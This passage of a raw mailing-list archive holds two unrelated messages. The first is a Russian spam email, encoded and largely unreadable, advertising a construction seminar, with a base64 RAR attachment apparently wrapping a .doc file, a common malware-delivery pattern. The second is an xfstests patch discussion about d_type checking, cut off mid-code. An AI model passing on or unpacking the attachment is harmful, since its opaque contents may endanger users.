- =CE=F1=ED=EE=E2=ED=FB=E5 =EE=F8=E8=E1= =EA=E8, =E2=EB=E8=FF=FE=F9=E8=E5 =ED=E0 =F1=F0=EE=EA=E8 =E2=E2=EE=E4=E0 =EE= =E1=FA=E5=EA=F2=E0 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2 =FD=EA=F1=EF=EB= =F3=E0=F2=E0=F6=E8=FE.
- =CD=EE=F0=EC=E0=F2=E8=E2=ED=FB=E5 =E4= =EE=EA=F3=EC=E5=ED=F2=FB, =F0=E5=E3=EB=E0=EC=E5=ED=F2=E8=F0=F3=FE=F9=E8=E5= =EF=EE=F0=FF=E4=EE=EA =E2=E2=EE=E4=E0 =E7=E0=EA=EE=ED=F7=E5=ED=ED=EE=E3=EE= =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE=EC =EE=E1=FA=E5=EA=F2=E0 =E2 =FD= =EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE.
- =C0=E4=EC=E8=ED=E8=F1=F2= =F0=E0=F2=E8=E2=ED=FB=E9 =F0=E5=E3=EB=E0=EC=E5=ED=F2: =C2=FB=E4=E0=F7=E0 = =F0=E0=E7=F0=E5=F8=E5=ED=E8=E9 =ED=E0 =E2=E2=EE=E4 =EE=E1=FA=E5=EA=F2=EE=E2= =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2= =E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE.
=E8 =F2=E0=EA = =E4=E0=EB=E5=E5.

=CF=F0=EE=E3=F0=E0=EC=EC=E0 =EF=EE=E4= =E3=EE=F2=EE=E2=EB=E5=ED=E0 =EF=F0=EE=F4=E5=F1=F1=E8=EE=ED=E0=EB=E0=EC=E8= =E2 =EE=E1=EB=E0=F1=F2=E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0!
=D4=EE=F0=EC=E0=F2 =F1=E5=EC=E8=ED=E0=F0=E0 =EF=F0=E5=E4=EF=EE=EB= =E0=E3=E0=E5=F2 =E2=EE=E7=EC=EE=E6=ED=EE=F1=F2=FC =EF=F0=FF=EC=EE=E3=EE =E4= =E8=E0=EB=EE=E3=E0 =F1 =E4=EE=EA=EB=E0=E4=F7=E8=EA=EE=EC, =F7=F2=EE =EF=EE= =E7=E2=EE=EB=FF=E5=F2 =EA=E0=E6=E4=EE=EC=F3 =F1=EB=F3=F8=E0=F2=E5=EB=FE =EF= =EE=EB=F3=F7=E8=F2=FC =ED=E5=EE=E1=F5=EE=E4=E8=EC=F3=FE =EA=EE=ED=F1=F3=EB= =FC=F2=E0=F6=E8=FE, =F1=E2=FF=E7=E0=ED=ED=F3=FE =F1 =E2=E2=EE=E4=EE=EC =E2= =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =EA=EE=ED=EA=F0=E5=F2=ED=EE=E3=EE =E7= =E0=EA=EE=ED=F7=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE= =EC =EE=E1=FA=E5=EA=F2=E0.

2=E7.=EE9-24.o9, =D1=CF=C1.

<= p>
=D3=F1=EB=EE=E2=E8=FF, =F0=E0=F1=EF=E8=F1=E0=ED=E8=E5 =E8 = =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FF =E3=F0=F3=EF=EF=FB, =EF=EE=EB=ED=E0=FF = =EF=F0=EE=E3=F0=E0=EC=EC=E0 =F1=E5=EC=E8=ED=E0=F0=E0 =EF=EE =F2.:
=
=CA=CE=C4 =D1=CF=C1 98..6 . 94 . Il

------=_NextPart_001_059C_01CEB343.87BF8760-- ------=_NextPart_000_059B_01CEB343.87BF8760 Content-Type: application/octet-stream; name="=?windows-1251?B?X19fdmxvZ2VuaWW5MS5yYXI=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?X19fdmxvZ2VuaWW5MS5yYXI=?=" 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 ------=_NextPart_000_059B_01CEB343.87BF8760-- From sandeen@sandeen.net Mon Sep 16 18:20:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4E0317F3F for ; Mon, 16 Sep 2013 18:20:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 37DA48F8065 for ; Mon, 16 Sep 2013 16:20:48 -0700 (PDT) X-ASG-Debug-ID: 1379373647-04cbb02c3b10b8520001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 0Wn0moQDVDTz8nKL for ; Mon, 16 Sep 2013 16:20:47 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (h69-11-134-170.mntimn.dedicated.static.tds.net [69.11.134.170]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 7337468C5152; Mon, 16 Sep 2013 18:20:46 -0500 (CDT) Message-ID: <5237924B.4030304@sandeen.net> Date: Mon, 16 Sep 2013 18:20:43 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs-oss Subject: Re: [PATCH, RFC] xfstests: add d_type checking to fsstress References: <52377E50.3040907@redhat.com> <20130916225550.GG19103@dastard> X-ASG-Orig-Subj: Re: [PATCH, RFC] xfstests: add d_type checking to fsstress In-Reply-To: <20130916225550.GG19103@dastard> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379373647 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140674 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On 9/16/13 5:55 PM, Dave Chinner wrote: > On Mon, Sep 16, 2013 at 04:55:28PM -0500, Eric Sandeen wrote: >> This patch adds a "-D" switch to fsstress so that every time >> we call readdir, we stat the dentry & compare it's st_mode >> to the d_type. >> >> If -D is specified only once, it ignores DT_UNKNOWN. If specified >> twice, it considers DT_UNKNOWN to be an error. > > Hmmmm. DT_UNKNOWN is actually a valid type on disk right through to the > userspace interface. I can't think of why we'd want to consider it > invalid, especially as right now xfs_repair siply zeros the field > when recreating directory entries... well, I didn't know that last part. (but why do that?) I was thinking along the lines of DT_UNKNOWN returns meaning "this fs doesn't support d_type." "If the file type could not be determined, the value DT_UNKNOWN is returned in d_type." What d_type-grokking fs can't determine its file types? -Eric > Cheers, > > Dave. > >> +void test_d_type(int opno, pathname_t *f, struct dirent64 *de) >> +{ >> + struct stat64 sb; >> + char path[PATH_MAX]; >> + >> + snprintf(path, PATH_MAX, "%s/%s", f->path, de->d_name); >> + >> + /* Don't check ./. or ./.. */ >> + if (!strncmp(path, "./.", 3)) >> + return; > > . and .. should have the values of DT_UNKNOWN or DT_DIR. They are > the only valid values for these entries. > >> + >> + if (lstat64(path, &sb)) { >> + printf("%d/%d: getdents - can't stat %s\n", >> + procid, opno, path); >> + } else { >> + int bad_d_type = 0; >> + >> + switch (de->d_type) { >> + case DT_BLK: >> + if (!S_ISBLK(sb.st_mode)) >> + bad_d_type++; >> + break; >> + case DT_CHR: >> + if 